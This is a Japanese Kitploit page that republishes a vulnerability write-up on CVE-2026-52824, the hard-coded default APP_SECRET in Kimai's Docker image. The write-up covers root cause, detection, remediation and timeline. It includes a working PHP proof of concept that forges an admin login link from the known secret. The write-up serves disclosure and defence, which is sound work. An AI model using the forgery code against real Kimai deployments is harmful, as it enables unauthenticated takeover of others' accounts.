Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-52824 — CVE-2026-52824の技術分析とPoC:Kimai DockerイメージのデフォルトのAPP_SECRETにより、認証なしのログインリンク偽造が可能になります。影響を受けるバージョンは<= 2.57.0、修正版は2.58.0。 | Kitploit
ツール/GitHubGitHub/azureadtrent/cve-2026-52824
脆弱性分析エクスプロイトウェブアプリケーション悪用暗号化認証学習と教育
GitHubazureadtrent/cve-2026-52824

CVE-2026-52824

CVE-2026-52824の技術分析とPoC:Kimai DockerイメージのデフォルトのAPP_SECRETにより、認証なしのログインリンク偽造が可能になります。影響を受けるバージョンは<= 2.57.0、修正版は2.58.0。

リポジトリを見る
31ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-52824: Kimai デフォルト APP_SECRET によるログインリンク偽造

フィールド値
CVECVE-2026-52824
アドバイザリGHSA-jr9p-4h4j-6c58
重大度Critical
CWECWE-1188, 安全でないデフォルトによるリソースの初期化
影響を受けるバージョンkimai/kimai <= 2.57.0
修正バージョン2.58.0
アドバイザリ公開日2026-06-11
GitHub Advisory Database への追加日2026-07-14
報告者AzureADTrent

概要

公式の Kimai Docker イメージには、ハードコードされた APP_SECRET が同梱されていました。この値は Symfony の kernel.secret となり、ログインリンク、リメンバーミークッキー、パスワードリセット URL、CSRF トークンの署名に使用されます。Kimai のログインリンク署名がユーザーの id のみを対象としていたため、既知のシークレットを持つ認証されていない攻撃者は、オフラインで有効なログインリンクを計算し、任意のユーザーとして認証できました。

根本原因

Dockerfile:263 で次のように設定されていました:

root@kitploit:~
ENV APP_SECRET=change_this_to_something_unique

config/packages/framework.yaml:7 はこれを kernel.secret として使用します:

root@kitploit:~
    secret: '%env(APP_SECRET)%'

.docker/entrypoint.sh はセンチネル値のチェックを行わず、.env.dist:38 はベアメタルインストール用に同じデフォルト値を同梱していました。デフォルト値での起動を拒否するスタートアップガードはありませんでした。

したがって、APP_SECRET を明示的に上書きしなかった Docker デプロイメントはすべて、公に知られた署名鍵で実行されていました。

概念実証

Kimai は /en/auth/link/check でログインリンクを user、expires、hash パラメータとともに処理します。hash は 44 文字の HMAC と 44 文字のフィールドハッシュを直接連結したもので、オフセット 44 で分割する acceptSignatureHash() に対応しています。

root@kitploit:~
<?php
$secret   = 'change_this_to_something_unique';
$username = 'admin';
$userId   = 1;
$expires  = time() + 360;

// signature_properties: ['id']
// $userId is passed as an int, mirroring what PropertyAccessor hands to
// base64_encode() upstream. Under declare(strict_types=1) this needs an
// explicit (string) cast; the coercion is what the framework itself relies on.
$ctx = hash_init('sha256');
hash_update($ctx, ':' . base64_encode($userId));
$fieldsHash = strtr(base64_encode(hash_final($ctx, true)), '+/=', '-_~');

// generateHash(fieldsHash:expires:userIdentifier)
$input = $fieldsHash . ':' . $expires . ':' . $username;
$signatureHash = strtr(base64_encode(hash_hmac('sha256', $input, $secret, true)), '+/=', '-_~');

$hash = $signatureHash . $fieldsHash;

$url = "/en/auth/link/check?user=" . urlencode($username)
     . "&expires=" . $expires
     . "&hash=" . $hash;

echo "Forged login link:\n$url\n";

リクエストが成功すると 302 が返され、ターゲットアカウント用の KIMAI_REMEMBER クッキーが設定されます。

有効期間も使用回数も攻撃を制限しない

expires は HMAC 内にあり攻撃者が制御でき、検証は過去のタイムスタンプを拒否するだけです — verifySignatureHash() は $expires < time() のみをテストし、他には何もテストしません。設定された lifetime: 900 はリンクの生成のみを対象としており、検証中には一切参照されないため、偽造されたリンクには任意に遠い有効期限を設定できます。

max_uses: 3 も同様に無関係です。これは発行済みの単一リンクの再利用を制限するものですが、攻撃者は試行ごとに新しいリンクを生成できます。

前提条件と実際の影響

アドバイザリには 3 つの前提条件が記載されています:ユーザー名が既知であること、正しいアカウント ID が推測されること、アカウントにアクティブな 2FA がないことです。

実際にはこれらの前提条件は脆弱です。ユーザー ID は 1 から順に採番され、最初の super_admin は通常 ID 1 です。また、各試行は単一の認証されていない GET です。ユーザー名と ID 空間を総当たりできます。攻撃を実質的に阻止できるのは 2 要素認証だけです。

検出

ローカルでの確認方法:

root@kitploit:~
docker exec <container> printenv APP_SECRET
docker exec <container> cat /opt/kimai/.env.local
docker exec <container> ls -l /opt/kimai/var/data/.appsecret

センチネル値の APP_SECRET が設定されており、.appsecret ファイルが存在しない場合は、脆弱なデプロイメントを示しています。

修復

2.58.0 以降にアップグレードしてください。修正内容は次のとおりです:

  • Dockerfile からデフォルトの APP_SECRET を削除
  • bin2hex(random_bytes(32)) でシークレットを生成し、/opt/kimai/var/data/.appsecret に保存して /opt/kimai/.env.local に書き込むエントリポイントスクリプトを追加
  • ログインリンク署名にパスワードハッシュを追加(GHSA-m492-gv72-xvxj)。これにより、環境にハードコードされたシークレットが残っている場合でも悪用経路を遮断します

すぐにアップグレードできない場合は、一意で高エントロピーのシークレットを明示的に設定してください:

root@kitploit:~
docker run -e APP_SECRET=$(openssl rand -hex 32) ...

APP_SECRET のローテーションにより、既存のリメンバーミークッキー、保留中のパスワードリセットリンク、進行中の CSRF トークンが無効になります。ユーザーは再度ログインする必要があります。ローテーションとセッション無効化は、露出が確認できるかどうかに関係なく実行しても安全です。自身の状態を判断できない運用担当者は、推測するのではなくローテーションを実行すべきです。

タイムライン

  • 2026-06-11: GHSA-jr9p-4h4j-6c58 公開、CVE-2026-52824 採番、2.58.0 で修正リリース
  • 2026-07-14: CVE-2026-52824 が GitHub Advisory Database に追加
  • 2026-08-03: 実用的なエクスプロイトツールが projectdiscovery/nuclei-templates で公開
  • 2026-08-03: 本技術解説を公開

本解説は、このメカニズムが独立に公開されるまで公開を保留していました。

ツールをダウンロード